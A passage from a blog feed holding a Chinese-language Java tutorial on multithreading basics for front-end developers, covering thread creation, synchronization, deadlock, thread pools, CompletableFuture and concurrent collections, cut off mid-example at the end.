</content:encoded></item><item><title>Java 阶段十一：多线程入门</title><link>http://117.72.32.87/blog/posts/java-roadmap-11-thread-basics/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/java-roadmap-11-thread-basics/</guid><description>前端视角看 Java 并发：线程创建、synchronized/volatile、死锁、线程池 ExecutorService、Future、并发集合、原子类。</description><pubDate>Sat, 05 Sep 2026 06:00:00 GMT</pubDate><content:encoded>&lt;p&gt;前端的世界是&lt;strong&gt;单线程 + 事件循环&lt;/strong&gt;，异步靠 &lt;code&gt;Promise&lt;/code&gt; 和 &lt;code&gt;async/await&lt;/code&gt;。Java 是&lt;strong&gt;真·多线程&lt;/strong&gt;，多个线程同时读写同一份数据，稍不留神就会遇到竞态条件、死锁、内存可见性问题。这一篇是入门级导览，把心智模型和最基本的工具建起来。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[!IMPORTANT]
多线程是 Java 里最容易出 bug 也最难调试的部分。这个阶段的目的是让你&lt;strong&gt;能看懂&lt;/strong&gt;、&lt;strong&gt;能写简单的并发代码&lt;/strong&gt;、&lt;strong&gt;知道坑在哪里&lt;/strong&gt;。真正深入的并发编程需要单独花几个月学 &lt;code&gt;java.util.concurrent&lt;/code&gt;（JUC）包。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端 vs Java 的并发模型&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;维度&lt;/th&gt;
&lt;th&gt;JavaScript（浏览器/Node）&lt;/th&gt;
&lt;th&gt;Java&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;线程模型&lt;/td&gt;
&lt;td&gt;单线程 + 事件循环&lt;/td&gt;
&lt;td&gt;多线程并行&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;异步&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Promise&lt;/code&gt;、&lt;code&gt;async/await&lt;/code&gt;、回调&lt;/td&gt;
&lt;td&gt;&lt;code&gt;Thread&lt;/code&gt;、&lt;code&gt;ExecutorService&lt;/code&gt;、&lt;code&gt;CompletableFuture&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;数据共享&lt;/td&gt;
&lt;td&gt;天然隔离（除 &lt;code&gt;SharedArrayBuffer&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;直接共享堆内存&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;竞态条件&lt;/td&gt;
&lt;td&gt;罕见（除非用 Worker）&lt;/td&gt;
&lt;td&gt;常见，必须显式处理&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;锁&lt;/td&gt;
&lt;td&gt;无&lt;/td&gt;
&lt;td&gt;&lt;code&gt;synchronized&lt;/code&gt;、&lt;code&gt;Lock&lt;/code&gt;、原子类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;通信&lt;/td&gt;
&lt;td&gt;消息传递（&lt;code&gt;postMessage&lt;/code&gt;）&lt;/td&gt;
&lt;td&gt;共享内存 + 同步&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;阻塞&lt;/td&gt;
&lt;td&gt;阻塞会卡死 UI/事件循环&lt;/td&gt;
&lt;td&gt;阻塞只影响当前线程&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;心智模型的转换&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;JS：&lt;code&gt;await&lt;/code&gt; 让出控制权，事件循环调度下一个任务&lt;/li&gt;
&lt;li&gt;Java：线程阻塞时 OS 调度另一个线程；多个线程可能&lt;strong&gt;真的同时&lt;/strong&gt;执行同一段代码&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;创建线程的三种方式&lt;/h2&gt;
&lt;h3&gt;方式一：继承 Thread&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class MyThread extends Thread {
    @Override
    public void run() {
        System.out.println(&quot;线程运行：&quot; + getName());
    }
}

// 启动
MyThread t = new MyThread();
t.start();          // ✅ 启动新线程执行 run
// t.run();         // ❌ 只是普通方法调用，仍在当前线程
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;缺点&lt;/strong&gt;：Java 单继承，继承了 &lt;code&gt;Thread&lt;/code&gt; 就不能继承别的类。&lt;/p&gt;
&lt;h3&gt;方式二：实现 Runnable（推荐）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class MyTask implements Runnable {
    @Override
    public void run() {
        System.out.println(&quot;任务运行：&quot; + Thread.currentThread().getName());
    }
}

// 启动
Thread t = new Thread(new MyTask());
t.start();

// Lambda 简化
Thread t2 = new Thread(() -&amp;gt; System.out.println(&quot;hi&quot;));
t2.start();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;优点&lt;/strong&gt;：任务和线程解耦，一个任务可以交给多个线程执行。&lt;/p&gt;
&lt;h3&gt;方式三：实现 Callable（有返回值）&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.*;

public class MyCallable implements Callable&amp;lt;Integer&amp;gt; {
    @Override
    public Integer call() throws Exception {
        Thread.sleep(1000);
        return 42;
    }
}

// 通过 ExecutorService 提交（不能直接给 Thread）
ExecutorService executor = Executors.newSingleThreadExecutor();
Future&amp;lt;Integer&amp;gt; future = executor.submit(new MyCallable());
Integer result = future.get();     // 阻塞等待结果
executor.shutdown();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;Callable&amp;lt;V&amp;gt;&lt;/code&gt; 与 &lt;code&gt;Runnable&lt;/code&gt; 的区别：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Callable.call()&lt;/code&gt; 有返回值，可以抛受检异常&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Runnable.run()&lt;/code&gt; 无返回值，只能抛非受检异常&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;线程生命周期&lt;/h2&gt;
&lt;p&gt;一个线程从创建到死亡会经历 6 种状态（&lt;code&gt;Thread.State&lt;/code&gt; 枚举）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;NEW ──start()──▶ RUNNABLE ─────────────────────▶ TERMINATED
                    │  ▲
                    │  │
              wait/│  │notify/notifyAll
              join/│  │
              lock │  │
                    ▼  │
                 BLOCKED / WAITING / TIMED_WAITING
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;NEW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;已创建但未 &lt;code&gt;start()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RUNNABLE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;可运行（包含&quot;正在运行&quot;和&quot;就绪等待 CPU&quot;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BLOCKED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;等待获取 &lt;code&gt;synchronized&lt;/code&gt; 锁&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WAITING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无限期等待（&lt;code&gt;wait()&lt;/code&gt;、&lt;code&gt;join()&lt;/code&gt;、&lt;code&gt;LockSupport.park()&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TIMED_WAITING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;限时等待（&lt;code&gt;sleep(ms)&lt;/code&gt;、&lt;code&gt;wait(ms)&lt;/code&gt;、&lt;code&gt;join(ms)&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TERMINATED&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;执行完毕或异常终止&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Thread 常用方法&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Thread t = new Thread(() -&amp;gt; { ... });

// 启动
t.start();

// 当前线程
Thread.currentThread();
Thread.currentThread().getName();
Thread.currentThread().getId();

// 睡眠（毫秒）
Thread.sleep(1000);           // 当前线程暂停 1 秒，不释放锁

// 等待另一个线程结束
t.join();                     // 当前线程等 t 结束
t.join(5000);                 // 最多等 5 秒

// 中断（协作式）
t.interrupt();                // 给 t 发中断信号
t.isInterrupted();            // 查询是否被中断（不清除标志）
Thread.interrupted();         // 查询并清除标志

// 优先级（1~10，默认 5，仅供 JVM 参考，不保证）
t.setPriority(Thread.MAX_PRIORITY);

// 守护线程：所有非守护线程结束时，JVM 退出（不管守护线程）
t.setDaemon(true);            // 必须在 start() 之前设置

// 让步（提示调度器，不保证）
Thread.yield();

// 静态工厂（JDK 21+ 虚拟线程，另讲）
Thread vt = Thread.ofVirtual().start(() -&amp;gt; { ... });
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;正确处理 InterruptedException&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;sleep&lt;/code&gt;、&lt;code&gt;wait&lt;/code&gt;、&lt;code&gt;join&lt;/code&gt; 都会抛 &lt;code&gt;InterruptedException&lt;/code&gt;。&lt;strong&gt;不要吞掉它&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ❌ 反模式：吞掉中断信号
try {
    Thread.sleep(1000);
} catch (InterruptedException e) {
    // 什么都不做
}

// ✅ 方式一：重新抛出
public void doWork() throws InterruptedException {
    Thread.sleep(1000);
}

// ✅ 方式二：恢复中断状态
try {
    Thread.sleep(1000);
} catch (InterruptedException e) {
    Thread.currentThread().interrupt();   // 让上层知道被中断了
    return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;竞态条件与线程安全&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;经典反例&lt;/strong&gt;：两个线程同时对一个变量做 &lt;code&gt;count++&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class RaceCondition {
    static int count = 0;

    public static void main(String[] args) throws InterruptedException {
        Runnable task = () -&amp;gt; {
            for (int i = 0; i &amp;lt; 100_000; i++) count++;
        };

        Thread t1 = new Thread(task);
        Thread t2 = new Thread(task);
        t1.start(); t2.start();
        t1.join(); t2.join();

        System.out.println(count);   // 期望 200000，实际可能是 130000~199999
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;原因&lt;/strong&gt;：&lt;code&gt;count++&lt;/code&gt; 不是原子操作，实际上是三步：读 &lt;code&gt;count&lt;/code&gt; → 加 1 → 写回 &lt;code&gt;count&lt;/code&gt;。两个线程同时执行时可能都读到同一个值，各自加 1 后写回，导致丢失一次自增。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解决方案有三种&lt;/strong&gt;：&lt;/p&gt;
&lt;h3&gt;1. synchronized：加锁&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class SafeCounter {
    private int count = 0;

    // 同步方法：整个方法加锁（对象锁）
    public synchronized void increment() {
        count++;
    }

    // 同步代码块：更细粒度，指定锁对象
    public void incrementBlock() {
        synchronized (this) {
            count++;
        }
    }

    // 静态同步方法：类锁
    public static synchronized void reset() { ... }

    public int getCount() {
        synchronized (this) {
            return count;
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt; synchronized&lt;/code&gt; 保证：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;原子性&lt;/strong&gt;：代码块内的操作要么全执行要么全不执行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可见性&lt;/strong&gt;：一个线程修改后，其他线程立刻能看到&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有序性&lt;/strong&gt;：禁止代码块内外的指令重排&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2. volatile：仅保证可见性&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;public class VolatileExample {
    private volatile boolean running = true;

    public void stop() {
        running = false;       // 修改后立刻对其他线程可见
    }

    public void run() {
        while (running) {      // 没有 volatile 可能死循环（读到缓存的旧值）
            // 干活
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;volatile&lt;/code&gt; &lt;strong&gt;只保证可见性和有序性，不保证原子性&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;private volatile int count = 0;
count++;                       // ❌ 仍然会丢失更新，volatile 救不了
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;适用场景&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;状态标志位（&lt;code&gt;running&lt;/code&gt;、&lt;code&gt;shutdown&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;双重检查锁定单例（DCL）&lt;/li&gt;
&lt;li&gt;一写多读的场景&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. 原子类：CAS 无锁&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;java.util.concurrent.atomic&lt;/code&gt; 包里有一堆原子类，用 CPU 级别的 CAS（Compare-And-Swap）指令实现无锁并发：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.atomic.AtomicInteger;

AtomicInteger count = new AtomicInteger(0);
count.incrementAndGet();       // ++count，返回新值
count.getAndIncrement();       // count++，返回旧值
count.addAndGet(10);           // count += 10
count.compareAndSet(5, 10);    // 如果当前是 5 就设为 10
count.get();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;性能对比&lt;/strong&gt;（单线程递增 1 亿次）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;普通 &lt;code&gt;int&lt;/code&gt;：约 100ms&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AtomicInteger&lt;/code&gt;：约 500ms&lt;/li&gt;
&lt;li&gt;&lt;code&gt;synchronized&lt;/code&gt;：约 3000ms&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;原子类是&lt;strong&gt;低竞争场景&lt;/strong&gt;的首选，高竞争时可能反而不如锁（因为 CAS 失败会自旋）。&lt;/p&gt;
&lt;p&gt;其他常用原子类：&lt;code&gt;AtomicLong&lt;/code&gt;、&lt;code&gt;AtomicBoolean&lt;/code&gt;、&lt;code&gt;AtomicReference&lt;/code&gt;、&lt;code&gt;LongAdder&lt;/code&gt;（高并发计数器，比 &lt;code&gt;AtomicLong&lt;/code&gt; 更快）。&lt;/p&gt;
&lt;h2&gt;死锁&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;死锁&lt;/strong&gt;指两个或多个线程互相等待对方持有的锁，永远无法继续：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class Deadlock {
    static Object lockA = new Object();
    static Object lockB = new Object();

    public static void main(String[] args) {
        new Thread(() -&amp;gt; {
            synchronized (lockA) {
                sleep(100);
                synchronized (lockB) {       // 等待线程 2 释放 lockB
                    System.out.println(&quot;线程 1 完成&quot;);
                }
            }
        }).start();

        new Thread(() -&amp;gt; {
            synchronized (lockB) {
                sleep(100);
                synchronized (lockA) {       // 等待线程 1 释放 lockA → 死锁
                    System.out.println(&quot;线程 2 完成&quot;);
                }
            }
        }).start();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;死锁的四个必要条件&lt;/strong&gt;（破坏任一即可避免）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;互斥：资源同时只能被一个线程持有&lt;/li&gt;
&lt;li&gt;请求与保持：持有资源的同时请求新资源&lt;/li&gt;
&lt;li&gt;不可剥夺：不能强制抢走别人的资源&lt;/li&gt;
&lt;li&gt;循环等待：线程之间形成等待环&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;避免死锁的实用技巧&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;固定加锁顺序&lt;/strong&gt;：所有线程都按 A→B 的顺序加锁，就不会循环等待&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用 &lt;code&gt;tryLock&lt;/code&gt; 超时&lt;/strong&gt;：&lt;code&gt;ReentrantLock.tryLock(1, TimeUnit.SECONDS)&lt;/code&gt;，超时放弃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;减少锁的粒度和持有时间&lt;/strong&gt;：不要在持锁时做 IO 或长时间计算&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使用并发工具类&lt;/strong&gt;：&lt;code&gt;ConcurrentHashMap&lt;/code&gt;、&lt;code&gt;BlockingQueue&lt;/code&gt; 内部已经处理好&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;排查死锁&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;jstack &amp;lt;pid&amp;gt;&lt;/code&gt;：打印所有线程栈，会明确指出死锁&lt;/li&gt;
&lt;li&gt;JConsole / VisualVM：图形化工具，&quot;检测死锁&quot;按钮&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ThreadMXBean.findDeadlockedThreads()&lt;/code&gt;：代码里检测&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;线程池 ExecutorService&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;永远不要在生产代码里 &lt;code&gt;new Thread()&lt;/code&gt;&lt;/strong&gt;，线程的创建和销毁开销大，且不受控。用&lt;strong&gt;线程池&lt;/strong&gt;复用线程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.*;

ExecutorService executor = Executors.newFixedThreadPool(10);   // 固定 10 个线程

// 提交任务
executor.submit(() -&amp;gt; System.out.println(&quot;task 1&quot;));
executor.submit(() -&amp;gt; System.out.println(&quot;task 2&quot;));

// 提交有返回值的任务
Future&amp;lt;Integer&amp;gt; future = executor.submit(() -&amp;gt; 42);
Integer result = future.get();          // 阻塞等待

// 优雅关闭
executor.shutdown();                    // 不再接受新任务，等已提交的执行完
executor.awaitTermination(60, TimeUnit.SECONDS);

// 强制关闭
executor.shutdownNow();                 // 中断所有任务
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;常用工厂方法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// 固定大小：并发数可控，最常用
Executors.newFixedThreadPool(10);

// 单线程：保证任务按提交顺序执行
Executors.newSingleThreadExecutor();

// 可缓存：线程数按需增长，60 秒空闲回收
Executors.newCachedThreadPool();

// 定时任务
ScheduledExecutorService scheduler = Executors.newScheduledThreadPool(4);
scheduler.schedule(task, 5, TimeUnit.SECONDS);             // 延迟 5 秒执行
scheduler.scheduleAtFixedRate(task, 0, 1, TimeUnit.SECONDS); // 每秒执行
scheduler.scheduleWithFixedDelay(task, 0, 1, TimeUnit.SECONDS);
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!WARNING]
&lt;strong&gt;阿里巴巴 Java 开发手册&lt;/strong&gt;明确禁止在生产代码用 &lt;code&gt;Executors.newFixedThreadPool&lt;/code&gt; 和 &lt;code&gt;newCachedThreadPool&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;newFixedThreadPool&lt;/code&gt; 用无界队列，任务堆积会 OOM&lt;/li&gt;
&lt;li&gt;&lt;code&gt;newCachedThreadPool&lt;/code&gt; 用无界线程数，线程爆炸会 OOM&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;应该显式用 &lt;code&gt;ThreadPoolExecutor&lt;/code&gt; 构造：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ThreadPoolExecutor executor = new ThreadPoolExecutor(
    10,                                    // 核心线程数
    50,                                    // 最大线程数
    60L, TimeUnit.SECONDS,                 // 空闲线程存活时间
    new ArrayBlockingQueue&amp;lt;&amp;gt;(1000),        // 有界队列
    new ThreadPoolExecutor.CallerRunsPolicy()   // 拒绝策略
);
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;h3&gt;线程池参数详解&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;提交任务时的流程：
1. 线程数 &amp;lt; corePoolSize → 新建核心线程执行
2. 线程数 &amp;gt;= corePoolSize → 放入队列
3. 队列满了 → 新建线程直到 maximumPoolSize
4. 达到 maximumPoolSize 且队列满 → 触发拒绝策略
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;拒绝策略&lt;/strong&gt;（&lt;code&gt;RejectedExecutionHandler&lt;/code&gt;）：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AbortPolicy&lt;/code&gt;（默认）：抛 &lt;code&gt;RejectedExecutionException&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;CallerRunsPolicy&lt;/code&gt;：让调用者线程自己执行（降低提交速度）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiscardPolicy&lt;/code&gt;：静默丢弃&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DiscardOldestPolicy&lt;/code&gt;：丢弃队列里最老的任务&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Future 与 CompletableFuture&lt;/h2&gt;
&lt;h3&gt;Future：异步结果占位符&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ExecutorService executor = Executors.newFixedThreadPool(4);

Future&amp;lt;String&amp;gt; future = executor.submit(() -&amp;gt; {
    Thread.sleep(1000);
    return &quot;done&quot;;
});

// 阻塞等待结果
String result = future.get();                  // 无限期等待
String result2 = future.get(5, TimeUnit.SECONDS);   // 最多等 5 秒

future.isDone();       // 是否完成
future.isCancelled();  // 是否被取消
future.cancel(true);   // 尝试取消（true 表示中断正在执行的线程）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Future 的痛点&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;get()&lt;/code&gt; 阻塞，无法组合多个 Future&lt;/li&gt;
&lt;li&gt;无法链式调用（类似 Promise.then）&lt;/li&gt;
&lt;li&gt;无法注册完成回调&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;CompletableFuture（JDK 8+）：真正的 Promise&lt;/h3&gt;
&lt;p&gt;Java 版的 &lt;code&gt;Promise&lt;/code&gt;，支持链式调用、组合、异常处理：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import java.util.concurrent.CompletableFuture;

// 创建
CompletableFuture&amp;lt;String&amp;gt; cf = CompletableFuture.supplyAsync(() -&amp;gt; {
    sleep(1000);
    return &quot;hello&quot;;
});

// 链式转换（类似 Promise.then）
CompletableFuture&amp;lt;Integer&amp;gt; result = cf
    .thenApply(String::length)              // map
    .thenApply(len -&amp;gt; len * 2);

// 消费（无返回值）
cf.thenAccept(s -&amp;gt; System.out.println(s));
cf.thenRun(() -&amp;gt; System.out.println(&quot;done&quot;));

// 组合两个 Future
CompletableFuture&amp;lt;String&amp;gt; f1 = CompletableFuture.supplyAsync(() -&amp;gt; &quot;hello&quot;);
CompletableFuture&amp;lt;String&amp;gt; f2 = CompletableFuture.supplyAsync(() -&amp;gt; &quot;world&quot;);

f1.thenCombine(f2, (a, b) -&amp;gt; a + &quot; &quot; + b)
  .thenAccept(System.out::println);         // &quot;hello world&quot;

// 等待所有完成
CompletableFuture.allOf(f1, f2).join();

// 等待任意一个完成
CompletableFuture.anyOf(f1, f2).join();

// 异常处理
cf.exceptionally(ex -&amp;gt; &quot;fallback&quot;)          // 类似 Promise.catch
  .handle((result, ex) -&amp;gt; {                 // 无论成功失败都调用
      if (ex != null) return &quot;error&quot;;
      return result.toUpperCase();
  });

// 显式完成
CompletableFuture&amp;lt;String&amp;gt; manual = new CompletableFuture&amp;lt;&amp;gt;();
manual.complete(&quot;done&quot;);                    // 手动设置结果
manual.completeExceptionally(new RuntimeException(&quot;fail&quot;));

// 指定线程池
ExecutorService pool = Executors.newFixedThreadPool(4);
CompletableFuture.supplyAsync(() -&amp;gt; work(), pool);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;API 对照 Promise&lt;/strong&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;JavaScript Promise&lt;/th&gt;
&lt;th&gt;CompletableFuture&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;new Promise((res, rej) =&amp;gt; ...)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;new CompletableFuture&amp;lt;&amp;gt;()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.resolve(x)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CompletableFuture.completedFuture(x)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.then(fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.thenApply(fn)&lt;/code&gt;（有返回）/ &lt;code&gt;.thenAccept(fn)&lt;/code&gt;（无返回）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.catch(fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.exceptionally(fn)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;.finally(fn)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.whenComplete((r, e) -&amp;gt; ...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.all([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CompletableFuture.allOf(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Promise.race([...])&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CompletableFuture.anyOf(...)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;await promise&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;future.get()&lt;/code&gt; / &lt;code&gt;future.join()&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;并发集合&lt;/h2&gt;
&lt;p&gt;普通的 &lt;code&gt;HashMap&lt;/code&gt;、&lt;code&gt;ArrayList&lt;/code&gt; 不是线程安全的。多线程场景用 &lt;code&gt;java.util.concurrent&lt;/code&gt; 包里的替代品：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;单线程版&lt;/th&gt;
&lt;th&gt;并发版&lt;/th&gt;
&lt;th&gt;特点&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HashMap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ConcurrentHashMap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;分段锁 / CAS，高并发首选&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;TreeMap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ConcurrentSkipListMap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;并发有序 Map&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HashSet&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ConcurrentHashMap.newKeySet()&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;并发 Set&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ArrayList&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CopyOnWriteArrayList&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;写时复制，读多写少场景&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;LinkedList&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ConcurrentLinkedQueue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;无界并发队列&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ArrayDeque&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;LinkedBlockingQueue&lt;/code&gt; / &lt;code&gt;ArrayBlockingQueue&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阻塞队列，生产者-消费者模型&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;pre&gt;&lt;code&gt;// ConcurrentHashMap：线程安全的 HashMap
